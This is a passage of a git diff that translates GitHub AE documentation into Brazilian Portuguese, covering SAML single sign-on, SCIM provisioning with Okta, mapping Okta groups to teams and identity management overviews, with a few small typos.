-To enable single sign-on (SSO) for {% data variables.product.prodname_ghe_managed %}, you must configure {% data variables.product.prodname_ghe_managed %} to use the sign-on URL, issuer URL, and public certificate provided by Okta. You can find locate these details in the "GitHub AE" app.
+Para habilitar o logon único (SSO) para {% data variables.product.prodname_ghe_managed %}, você deverá configurar {% data variables.product.prodname_ghe_managed %} para usar a URL de login, a URL do expedidor e o certificado público fornecido pelo Okta. Você pode encontrar esses detalhes no aplicativo "GitHub AE".
 
 {% data reusables.saml.okta-ae-applications-menu %}
 {% data reusables.saml.okta-ae-configure-app %}
-1. Click **Sign On**.
+1. Clique em **Iniciar sessão em**.
 
-  ![Sign On tab](/assets/images/help/saml/okta-ae-sign-on-tab.png)
+  ![Guia de iniciar sessão](/assets/images/help/saml/okta-ae-sign-on-tab.png)
 
-1. Click **View Setup Instructions**.
+1. Clique **Ver instruções de configuração**.
 
-  ![Sign On tab](/assets/images/help/saml/okta-ae-view-setup-instructions.png)
+  ![Guia de iniciar sessão](/assets/images/help/saml/okta-ae-view-setup-instructions.png)
 
-1. Take note of the "Sign on URL", "Issuer", and "Public certificate" details. 
-1. Use the details to enable SAML SSO for your enterprise on {% data variables.product.prodname_ghe_managed %}. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+1. Anote os detalhes da "URL de início de sessão", "Emissor" e "Certificado público".
+1. Use os detalhes para habilitar o SAML SSO para a sua empresa em {% data variables.product.prodname_ghe_managed %}. Para obter mais informações, consulte "[Configurar logon único SAML para a sua empresa](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)".
 
 {% note %}
 
-**Note:** To test your SAML configuration from {% data variables.product.prodname_ghe_managed %}, your Okta user account must be assigned to the {% data variables.product.prodname_ghe_managed %} app.
+**Observação:** Para testar sua configuração do SAML de {% data variables.product.prodname_ghe_managed %}, a sua conta de usuário do Okta deverá ser atribuída ao aplicativo de {% data variables.product.prodname_ghe_managed %}.
 
 {% endnote %}
 
-## Enabling API integration
+## Habilitando a integração da API
 
-The "GitHub AE" app in Okta uses the {% data variables.product.product_name %} API to interact with your enterprise for SCIM and SSO. This procedure explains how to enable and test access to the API by configuring Okta with a personal access token for {% data variables.product.prodname_ghe_managed %}.
+O aplicativo "GitHub AE" no Okta usa a API de {% data variables.product.product_name %} para interagir com a sua empresa para SCIM e SSO. Este procedimento explica como habilitar e testar o acesso à API, configurando o Okta com um token de acesso pessoal para {% data variables.product.prodname_ghe_managed %}.
 
-1. In {% data variables.product.prodname_ghe_managed %}, generate a personal access token with the `admin:enterprise` scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)".
+1. Em {% data variables.product.prodname_ghe_managed %}, gere um token de acesso pessoal com o escopo `admin:enterprise`. Para obter mais informações, consulte "[Criando um token de acesso pessoal](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)".
 {% data reusables.saml.okta-ae-applications-menu %}
 {% data reusables.saml.okta-ae-configure-app %}
 {% data reusables.saml.okta-ae-provisioning-tab %}
-1. Click **Configure API Integration**.
+1. Clique em **Configurar a Integração da API**.
 
-1. Select **Enable API integration**.
+1. Selecione **Habilitar a integração da API**.
 
-  ![Enable API integration](/assets/images/help/saml/okta-ae-enable-api-integration.png)
+  ![Habilitar a integração da API](/assets/images/help/saml/okta-ae-enable-api-integration.png)
 
-1. For "API Token", type the {% data variables.product.prodname_ghe_managed %} personal access token you generated previously.
+1. Para "Token da API", digite o token de acesso pessoal de {% data variables.product.prodname_ghe_managed %} que você gerou anteriormente.
 
-1. Click **Test API Credentials**. 
+1. Clique em **Testar as credenciais da API**.
 
 {% note %}
 
-**Note:** If you see `Error authenticating: No results for users returned`, confirm that you have enabled SSO for {% data variables.product.prodname_ghe_managed %}. For more information see "[Enabling SAML SSO for {% data variables.product.prodname_ghe_managed %}](#enabling-saml-sso-for-github-ae)."
+**Observação:** Se você vir `Error authenticating: No results for users returned`, confirme que você habilitou o SSO para {% data variables.product.prodname_ghe_managed %}. Para obter mais informações, consulte "[Habilitando o SAML SSO para {% data variables.product.prodname_ghe_managed %}](#enabling-saml-sso-for-github-ae)".
 
 {% endnote %}
 
-## Configuring SCIM provisioning settings
+## Definindo as configurações de provisionamento do SCIM
 
-This procedure demonstrates how to configure the SCIM settings for Okta provisioning. These settings define which features will be used when automatically provisioning Okta user accounts to {% data variables.product.prodname_ghe_managed %}.
+Este procedimento demonstra como definir as configurações do SCIM para o provisionamento do Okta. Essas configurações definem quais recursos serão usados ao provisionar automaticamente as contas de usuário do Okta para {% data variables.product.prodname_ghe_managed %}.
 
 {% data reusables.saml.okta-ae-applications-menu %}
 {% data reusables.saml.okta-ae-configure-app %}
 {% data reusables.saml.okta-ae-provisioning-tab %}
-1. Under "Settings", click **To App**.
+1. Em "Configurações", clique em **Para aplicativo**.
 
-  !["To App" settings](/assets/images/help/saml/okta-ae-to-app-settings.png)
+  ![Configurações "Para o aplicativo"](/assets/images/help/saml/okta-ae-to-app-settings.png)
 
-1. To the right of "Provisioning to App", click **Edit**.
-1. To the right of "Create Users", select **Enable**.
-1. To the right of "Update User Attributes", select **Enable**.
-1. To the right of "Deactivate Users", select **Enable**.
-1. Click **Save**.
+1. À direita do "Provisionamento para o App", clique em **Editar**.
+1. À direita de "Criar usuários", selecione **Habilitar**.
+1. À direita de "Atualizar Atributos do Usuário", selecione **Habilitar**.
+1. À direita de "Desativar Usuários", selecione **Habilitar**.
+1. Clique em **Salvar**.
 
-## Allowing Okta users and groups to access {% data variables.product.prodname_ghe_managed %}
+## Permitir que usuários e grupos do Okta acessem {% data variables.product.prodname_ghe_managed %}
 
-You can provision access to {% data variables.product.product_name %} for your individual Okta users, or for entire groups.
+Você pode fornecer acesso a {% data variables.product.product_name %} para os usuários individuais do Okta, ou para grupos inteiros.
 
-### Provisioning access for Okta users
+### Provisionando acesso para usuários do Okta
 
-Before your Okta users can use their credentials to sign in to {% data variables.product.prodname_ghe_managed %}, you must assign the users to the "GitHub AE" app in Okta.
+Antes que seus usuários do Okta possam usar suas credenciais para efetuar o login em {% data variables.product.prodname_ghe_managed %}, você deverá atribuir os usuários ao aplicativo "GitHub AE" no Okta.
 
 {% data reusables.saml.okta-ae-applications-menu %}
 {% data reusables.saml.okta-ae-configure-app %}
 
-1. Click **Assignments**.
+1. Clique **Atribuições**.
 
-  ![Assignments tab](/assets/images/help/saml/okta-ae-assignments-tab.png)
+  ![Aba de atribuições](/assets/images/help/saml/okta-ae-assignments-tab.png)
 
-1. Select the Assign drop-down menu and click **Assign to People**.
+1. Selecione o menu suspenso de atribuição e clique em **Atribuir às pessoas**.
 
-  !["Assign to People" button](/assets/images/help/saml/okta-ae-assign-to-people.png)
+  ![Botão "Atribuir a pessoas"](/assets/images/help/saml/okta-ae-assign-to-people.png)
 
-1. To the right of the required user account, click **Assign**.
+1. À direita da conta de usuário obrigatória, clique em **Atribuir**.
 
-  ![List of users](/assets/images/help/saml/okta-ae-assign-user.png)
+  ![Lista de usuários](/assets/images/help/saml/okta-ae-assign-user.png)
 
-1. To the right of "Role", click a role for the user, then click **Save and go back**.
+1. À direita de "Função", clique em uma função para o usuário e, em seguida, clique em **Salvar e voltar**.
 
-  ![Role selection](/assets/images/help/saml/okta-ae-assign-role.png)
+  ![Seleção de função](/assets/images/help/saml/okta-ae-assign-role.png)
 
-1. Click **Done**.
+1. Clique em **Cpncluído**.
 
-### Provisioning access for Okta groups
+### Provisionando acesso para grupos do Okta
 
-You can map your Okta group to a team in {% data variables.product.prodname_ghe_managed %}. Members of the Okta group will then automatically become members of the mapped {% data variables.product.prodname_ghe_managed %} team. For more information, see "[Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
+Você pode mapear o seu grupo do Okta para uma equipe em {% data variables.product.prodname_ghe_managed %}. Os integrantes do grupo do Okta irão tornar-se automaticamente integrantes da equipe de {% data variables.product.prodname_ghe_managed %} mapeada. Para obter mais informações, consulte "[Mapeando grupos do Okta nas equipes](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)".
 
-## Further reading
+## Leia mais
 
-- [Understanding SAML](https://developer.okta.com/docs/concepts/saml/) in the Okta documentation.
-- [Understanding SCIM](https://developer.okta.com/docs/concepts/scim/) in the Okta documentation.
+- [Compreender o SAML](https://developer.okta.com/docs/concepts/saml/) na documentação do Okta.
+- [Entender o SCIM](https://developer.okta.com/docs/concepts/scim/) na documentação do Okta.
diff --git a/translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md b/translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md
index 138b2d5323..4b984ea45c 100644
--- a/translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md
+++ b/translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md
@@ -1,12 +1,12 @@
 ---
-title: Configuring authentication and provisioning with your identity provider
-intro: 'You can configure user authentication and provisioning by integrating with an identity provider (IdP) that supports SAML single sign-on (SSO) and SCIM.'
+title: Configurar a autenticação e provisionamento com seu provedor de identidade
+intro: É possível configurar a autenticação e provisionamento de usuários integrando com um provedor de identidade (IdP) compatível com o logon único SAML (SSO) e SCIM.
 versions:
   ghae: '*'
 children:
   - /configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad
   - /configuring-authentication-and-provisioning-for-your-enterprise-using-okta
   - /mapping-okta-groups-to-teams
-shortTitle: Use an IdP for SSO & SCIM
+shortTitle: Use um IdP para SSO & SCIM
 ---
 
diff --git a/translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md b/translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md
index bf03a67c91..7c42fcac2e 100644
--- a/translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md
+++ b/translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md
@@ -1,6 +1,6 @@
 ---
-title: Mapping Okta groups to teams
-intro: 'You can map your Okta groups to teams on {% data variables.product.prodname_ghe_managed %} to automatically add and remove team members.'
+title: Mapeando grupos do Okta com as equipes
+intro: 'Você pode mapear os seus grupos do Okta com as equipes em {% data variables.product.prodname_ghe_managed %} para adicionar e remover automaticamente os integrantes da equipe.'
 permissions: 'Enterprise owners can configure authentication and provisioning for {% data variables.product.prodname_ghe_managed %}.'
 versions:
   ghae: '*'
@@ -15,83 +15,80 @@ topics:
 
 {% data reusables.saml.okta-ae-sso-beta %}
 
-## About team mapping
+## Sobre o mapeamento de equipe
 
-If you use Okta as your IdP, you can map your Okta group to a team in {% data variables.product.prodname_ghe_managed %}. Members of the Okta group will automatically become members of the mapped {% data variables.product.prodname_ghe_managed %} team. To configure this mapping, you can configure the Okta "GitHub AE" app to push the group and its members to {% data variables.product.prodname_ghe_managed %}. You can then choose which team in {% data variables.product.prodname_ghe_managed %} will be mapped to the Okta group.
+Se você usar o Okta como seu IdP, você poderá mapear seu grupo do Okta com uma equipe em {% data variables.product.prodname_ghe_managed %}. Os integrantes do grupo do Okta irão tornar-se automaticamente integrantes da equipe de {% data variables.product.prodname_ghe_managed %} mapeada. Para configurar este mapeamento, você pode configurar o aplicativo do Okta "GitHub AE" para fazer envio por push do grupo e dos seus integrantes para {% data variables.product.prodname_ghe_managed %}. Em seguida, você pode escolher qual equipe em {% data variables.product.prodname_ghe_managed %} será mapeada com o grupo do Okta.
 
-## Prerequisites
+## Pré-requisitos
 
-You or your Okta administrator must be a Global administrator or a Privileged Role administrator in Okta.
- 
-You must enable SAML single sign-on with Okta. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+Você ou o administrador do Okta deve ser um administrador global ou um administrador de Função Privilegiada no Okta.
 
-You must authenticate to your enterprise account using SAML SSO and Okta. For more information, see "[Authenticating with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on)."
+Você deve habilitar o logon único SAML com o Okta. Para obter mais informações, consulte "[Configurar logon único SAML para a sua empresa](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)".
 
-## Assigning your Okta group to the "GitHub AE" app
+Você deve efetuar a autenticação na sua conta corporativa usando SAML SSO e o Okta. Para obter mais informações, consulte "[Autenticar com logon único de SAML](/github/authenticating-to-github/authenticating-with-saml-single-sign-on)".
 
-1. In the Okta Dashboard, open your group's settings.
-1. Click **Manage Apps**.
-  ![Add group to app](/assets/images/help/saml/okta-ae-group-add-app.png)
+## Atribuindo o seu grupo Okta ao aplicativo "GitHub AE"
 
-1. To the right of "GitHub AE", click **Assign**.
+1. No painel do Okta, abra as configurações do seu grupo.
+1. Clique **Gerenciar aplicativos**. ![Adicionar grupo ao aplicativo](/assets/images/help/saml/okta-ae-group-add-app.png)
 
-  ![Assign app](/assets/images/help/saml/okta-ae-assign-group-to-app.png)
+1. À direita do "GitHub AE", clique em **Atribuir**.
 
-1. Click **Done**.
+  ![Atribuir aplicativo](/assets/images/help/saml/okta-ae-assign-group-to-app.png)
 
-## Pushing the Okta group to {% data variables.product.prodname_ghe_managed %}
+1. Clique em **Cpncluído**.
 
-When you push an Okta group and map the group to a team, all of the group's members will be able to sign in to {% data variables.product.prodname_ghe_managed %}.
+## Fazendo envio por push do grupo do Okta para {% data variables.product.prodname_ghe_managed %}
+
+Ao fazer envio por push de um grupo do Okta e mapear o grupo com uma equipe, todos os integrantes do grupo poderão efetuar o login em {% data variables.product.prodname_ghe_managed %}.
 
 {% data reusables.saml.okta-ae-applications-menu %}
 {% data reusables.saml.okta-ae-configure-app %}
 
-1. Click **Push Groups**.
+1. Clique **Envio por push de grupos**.
 
-  ![Push Groups tab](/assets/images/help/saml/okta-ae-push-groups-tab.png)
+  ![Aba de Grupos Push](/assets/images/help/saml/okta-ae-push-groups-tab.png)
 
-1. Select the Push Groups drop-down menu and click **Find groups by name**.
+1. Selecione o menu suspenso de grupos de push e clique em **Encontrar grupos por nome**.
 
-  ![Add groups button](/assets/images/help/saml/okta-ae-push-groups-add.png)
+  ![Adicionar botão do grupo](/assets/images/help/saml/okta-ae-push-groups-add.png)
 
-1. Type the name of the group to push to {% data variables.product.prodname_ghe_managed %}, then click **Save**.
+1. Digite o nome do grupo para faer envio por push para {% data variables.product.prodname_ghe_managed %}e, em seguida, clique em **Salvar**.
 
-  ![Add group name](/assets/images/help/saml/okta-ae-push-groups-by-name.png)
+  ![Adicionar nome do grupo](/assets/images/help/saml/okta-ae-push-groups-by-name.png)
 
-## Mapping a team to the Okta group
+## Mapeando uma equipe para o grupo do Okta
 
-You can map a team in your enterprise to an Okta group you previously pushed to {% data variables.product.prodname_ghe_managed %}. Members of the Okta group will then automatically becomes members of the {% data variables.product.prodname_ghe_managed %} team. Any subsequent changes to the Okta group's membership are automatically synchronized with the {% data variables.product.prodname_ghe_managed %} team.
+Você pode mapear uma equipe na sua empresa com um grupo do Okta que você enviou por push anteriormente para {% data variables.product.prodname_ghe_managed %}. Os integrantes do grupo doOkta irão tornar-se automaticamente integrantes da equipe de {% data variables.product.prodname_ghe_managed %}. Todas as alterações subsequentes na associação do grupo do Okta serão automaticamente sincronizadas com a equipe de {% data variables.product.prodname_ghe_managed %}.
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
-6. Under "Identity Provider Group", select the drop-down menu and click an identity provider group.
-    ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png)
-7. Click **Save changes**.
+6. Em "Grupo de Provedores de identidade", selecione o menu suspenso e clique em um grupo de provedores de identidade. ![Menu suspenso para escolher grupo de provedores de identidade](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png)
+7. Clique em **Save changes** (Salvar alterações).
 
-## Checking the status of your mapped teams
+## Verificando o status das suas equipes mapeadas
 
-Enterprise owners can use the site admin dashboard to check how Okta groups are mapped to teams on {% data variables.product.prodname_ghe_managed %}.
+Os proprietários de empresas podem usar o painel de administração do site para verificar como os grupos do Okta são mapeados com as equipes em {% data variables.product.prodname_ghe_managed %}.
 
-1. To access the dashboard, in the upper-right corner of any page, click {% octicon "rocket" aria-label="The rocket ship" %}.
-  ![Rocket ship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
+1. Para acessar o painel, clique em {% octicon "rocket" aria-label="The rocket ship" %} no canto superior direito de qualquer página. ![Ícone de foguete para acessar as configurações de administrador do site](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
 
-1. In the left pane, click **External groups**.
+1. No painel esquerdo, clique em **Grupos externos**.
 
-  ![Add group name](/assets/images/help/saml/okta-ae-site-admin-external-groups.png)
+  ![Adicionar nome do grupo](/assets/images/help/saml/okta-ae-site-admin-external-groups.png)
 
-1. To view more details about a group, in the list of external groups, click on a group.
+1. Para visualizar mais informações sobre um grupo, na lista de grupos externos, clique em um grupo.
 
-  ![List of external groups](/assets/images/help/saml/okta-ae-site-admin-list-groups.png)
+  ![Lista de grupos externos](/assets/images/help/saml/okta-ae-site-admin-list-groups.png)
 
-1. The group's details includes the name of the Okta group, a list of the Okta users that are members of the group, and the corresponding mapped team on {% data variables.product.prodname_ghe_managed %}. 
+1. Os detalhes do grupo incluem o nome do grupo do Okta, uma lista dos usuários do Okta que são integrantes do grupo, e a equipe correspondente mapeada em {% data variables.product.prodname_ghe_managed %}.
 
-  ![List of external groups](/assets/images/help/saml/okta-ae-site-admin-group-details.png)
+  ![Lista de grupos externos](/assets/images/help/saml/okta-ae-site-admin-group-details.png)
 
-## Viewing audit log events for mapped groups
+## Visualizando eventos de log de auditoria para grupos mapeados
 
- To monitor SSO activity for mapped groups, you can review the following events in the {% data variables.product.prodname_ghe_managed %} audit log.
+ Para monitorar a atividade de SSO para grupos mapeados, você pode revisar os seguintes eventos no log de auditoria de {% data variables.product.prodname_ghe_managed %}.
 
 {% data reusables.saml.external-group-audit-events %}
 
diff --git a/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md b/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md
index 3da45be1af..ca7abdffb5 100644
--- a/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md
+++ b/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: About identity and access management for your enterprise
-shortTitle: About identity and access management
-intro: 'You can use SAML single sign-on (SSO) and System for Cross-domain Identity Management (SCIM) to centrally manage access {% ifversion ghec %}to organizations owned by your enterprise on {% data variables.product.prodname_dotcom_the_website %}{% endif %}{% ifversion ghae %}to {% data variables.product.product_location %}{% endif %}.'
+title: Sobre a identidade e gestão de acesso para a sua empresa
+shortTitle: Sobre identidade e gestão de acesso
+intro: 'É possível usar o logon único SAML (SSO) e o Sistema de Gerenciamento de Identidade entre Domínios (SCIM) para gerenciar centralmente o acesso {% ifversion ghec %}a organizações pertencentes à sua empresa em {% data variables.product.prodname_dotcom_the_website %}{% endif %}{% ifversion ghae %}para {% data variables.product.product_location %}{% endif %}.'
 versions:
   ghec: '*'
   ghae: '*'
@@ -19,62 +19,63 @@ redirect_from:
   - /github/setting-up-and-managing-your-enterprise/about-user-provisioning-for-organizations-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/configuring-saml-single-sign-on-and-scim-for-your-enterprise-account-using-okta
 ---
-## About identity and access management for your enterprise
+
+## Sobre a identidade e gestão de acesso para a sua empresa
 
 {% ifversion ghec %}
 
-{% data reusables.saml.dotcom-saml-explanation %} {% data reusables.saml.about-saml-enterprise-accounts %} For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+{% data reusables.saml.dotcom-saml-explanation %} {% data reusables.saml.about-saml-enterprise-accounts %} Para obter mais informações, consulte "[Configurando o logon único SAML para a sua empresa](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)".
 
-After you enable SAML SSO, depending on the IdP you use, you may be able to enable additional identity and access management features. {% data reusables.scim.enterprise-account-scim %}
+Depois de habilitar o SSO do SAML, dependendo do IdP que você usar, você poderá habilitar as funcionalidades adicionais de gerenciamento de identidade e acesso. {% data reusables.scim.enterprise-account-scim %}
 
-If you use Azure AD as your IDP, you can use team synchronization to manage team membership within each organization. {% data reusables.identity-and-permissions.about-team-sync %} For more information, see "[Managing team synchronization for organizations in your enterprise account](/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+Se você usar o Azure AD como seu IDP, você poderá usar a sincronização de equipe para gerenciar a associação de equipe em cada organização. {% data reusables.identity-and-permissions.about-team-sync %} Para obter mais informações, consulte "[Gerenciar a sincronização de equipes para organizações na sua conta corporativa](/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)".
 
-{% data reusables.saml.switching-from-org-to-enterprise %} For more information, see "[Switching your SAML configuration from an organization to an enterprise account](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)."
+{% data reusables.saml.switching-from-org-to-enterprise %} Para obter mais informações, consulte "[Alterando sua configuração do SAML de uma organização para uma conta corporativa](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)".
 
-## About {% data variables.product.prodname_emus %}
+## Sobre o {% data variables.product.prodname_emus %}
 
 {% data reusables.enterprise-accounts.emu-short-summary %}
 
-Configuring {% data variables.product.prodname_emus %} for SAML single-sign on and user provisioning involves following a different process than you would for an enterprise that isn't using {% data variables.product.prodname_managed_users %}. If your enterprise uses {% data variables.product.prodname_emus %}, see "[Configuring SAML single sign-on for Enterprise Managed Users](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)."
+A configuração de {% data variables.product.prodname_emus %} para o logon único SAML e provisionamento de usuário envolve seguir um processo diferente do que você faria para uma empresa que não estivesse usando {% data variables.product.prodname_managed_users %}. Se a sua empresa usar {% data variables.product.prodname_emus %}, consute "[Configurando o logon único SAML para usuários gerenciados pela empresa](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)".
 
-## Supported IdPs
+## IdPs compatíveis
 
-We test and officially support the following IdPs. For SAML SSO, we offer limited support for all identity providers that implement the SAML 2.0 standard. For more information, see the [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website.
+Nós testamos e oferecemos compatibilidade oficial os seguintes IdPs. Para o SSO do SAML, oferecemos suporte limitado a todos os provedores de identidade que implementam o padrão SAML 2.0. Para obter mais informações, consulte a [Wiki do SAML](https://wiki.oasis-open.org/security) no site do OASIS.
 
-IdP | SAML | Team synchronization | 
---- | :--: | :-------: |
-Active Directory Federation Services (AD FS) | {% octicon "check-circle-fill" aria-label= "The check icon" %}  | |
-Azure Active Directory (Azure AD) | {% octicon "check-circle-fill" aria-label="The check icon" %}  | {% octicon "check-circle-fill" aria-label="The check icon" %} |
-OneLogin | {% octicon "check-circle-fill" aria-label="The check icon" %}  | |
-PingOne | {% octicon "check-circle-fill" aria-label="The check icon" %}  | |
-Shibboleth | {% octicon "check-circle-fill" aria-label="The check icon" %}  | |
+| IdP                                          |                              SAML                              |                   Sincronização de equipes                    |
+| -------------------------------------------- |:--------------------------------------------------------------:|:-------------------------------------------------------------:|
+| Active Directory Federation Services (AD FS) | {% octicon "check-circle-fill" aria-label= "The check icon" %} |                                                               |
+| Azure Active Directory (Azure AD)            | {% octicon "check-circle-fill" aria-label="The check icon" %}  | {% octicon "check-circle-fill" aria-label="The check icon" %}
+| OneLogin                                     | {% octicon "check-circle-fill" aria-label="The check icon" %}  |                                                               |
+| PingOne                                      | {% octicon "check-circle-fill" aria-label="The check icon" %}  |                                                               |
+| Shibboleth                                   | {% octicon "check-circle-fill" aria-label="The check icon" %}  |                                                               |
 
 {% elsif ghae %}
 
 {% data reusables.saml.ae-uses-saml-sso %} {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %}
 
-After you configure the application for {% data variables.product.product_name %} on your identity provider (IdP), you can provision access to {% data variables.product.product_location %} by assigning the application to users and groups on your IdP. For more information about SAML SSO for {% data variables.product.product_name %}, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)."
+Após configurar o aplicativo para {% data variables.product.product_name %} no seu provedor de identidade (IdP), você poderá fornecer acesso ao {% data variables.product.product_location %}, atribuindo o aplicativo a usuários e grupos no seu IdP. Para obter mais informações sobre o SAML SSO para {% data variables.product.product_name %}, consulte "[Configurar o logon único SAML para a sua empresa](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)".
 
-{% data reusables.scim.after-you-configure-saml %} For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
+{% data reusables.scim.after-you-configure-saml %} Para obter mais informações, consulte "[Configurar provisionamento do usuário para sua empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise)".
 
-To learn how to configure both authentication and user provisioning for {% data variables.product.product_location %} with your specific IdP, see "[Configuring authentication and provisioning with your identity provider](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider)."
+Para aprender como configurar tanto o provisionamento de autenticação quanto o usuário para {% data variables.product.product_location %} com seu IdP específico, consulte "[Configurar autenticação e provisionamento com o seu provedor de identidade](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider)".
 
-## Supported IdPs
+## IdPs compatíveis
 
-The following IdPs are officially supported for integration with {% data variables.product.prodname_ghe_managed %}.
+Os seguintes IdPs são oficialmente compatíveis com a integração a {% data variables.product.prodname_ghe_managed %}.
 
 {% data reusables.saml.okta-ae-sso-beta %}
 
 {% data reusables.github-ae.saml-idp-table %}
 
-## Mapping {% data variables.product.prodname_ghe_managed %} teams to Okta groups
+## Mapeando equipes de {% data variables.product.prodname_ghe_managed %} com grupos do Okta
 
-If you use Okta as your IdP, you can map your Okta groups to teams on {% data variables.product.prodname_ghe_managed %}. For more information, see "[Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
+Se você usar o Okta como seu IdP, você poderá mapear seus grupos Okta para as equipes em {% data variables.product.prodname_ghe_managed %}. Para obter mais informações, consulte "[Mapeando grupos do Okta nas equipes](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)".
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website
-- [System for Cross-domain Identity Management: Protocol (RFC 7644)](https://tools.ietf.org/html/rfc7644) on the IETF website{% ifversion ghae %}
-- [Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise){% endif %}
+- [Wiki de SAML](https://wiki.oasis-open.org/security) no site OASIS
+- [Sistema para Gerenciamento de Identidade de entre Domínios: Protocolo (RFC 7644)](https://tools.ietf.org/html/rfc7644) no site do IETF{% ifversion ghae %}
+- [Restringindo o tráfego de rede para a sua empresa](/admin/configuration/restricting-network-traffic-to-your-enterprise){% endif %}
diff --git a/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md b/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
index 1225e75b98..e2f8da94bb 100644
--- a/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
+++ b/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
@@ -1,7 +1,6 @@
 ---
 title: Configurar o logon único SAML para a sua empresa usando o Okta
 intro: 'Você pode usar o logon único (SSO) da linguagem de declaração de markup (SAML) com o Okta para gerenciar automaticamente o acesso à sua conta corporativa em {% data variables.product.product_name %}.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/configuring-single-sign-on-for-your-enterprise-account-using-okta
   - /github/setting-up-and-managing-your-enterprise-account/configuring-saml-single-sign-on-for-your-enterprise-account-using-okta
diff --git a/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md b/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md
index e3b193572b..53aa9159d5 100644
--- a/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md
